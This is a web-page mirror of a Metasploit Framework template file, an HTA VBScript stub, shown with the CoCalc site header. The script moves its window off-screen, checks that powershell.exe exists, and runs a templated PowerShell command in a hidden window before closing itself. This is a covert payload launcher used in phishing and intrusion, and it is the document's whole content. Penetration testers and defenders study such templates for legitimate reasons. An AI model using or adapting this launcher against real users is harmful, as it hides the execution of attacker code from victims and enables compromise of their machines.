CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/data/templates/scripts/to_powershell.hta.template
Views: 11623
<script language="VBScript">
  window.moveTo -4000, -4000
  Set %{var_shell} = CreateObject("Wscript.Shell")
  Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
  For each path in Split(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%"),";")
    If %{var_fso}.FileExists(path + "\..\powershell.exe") Then
      %{var_shell}.Run "%{powershell}",0
      Exit For
    End If
  Next
  window.close()
</script>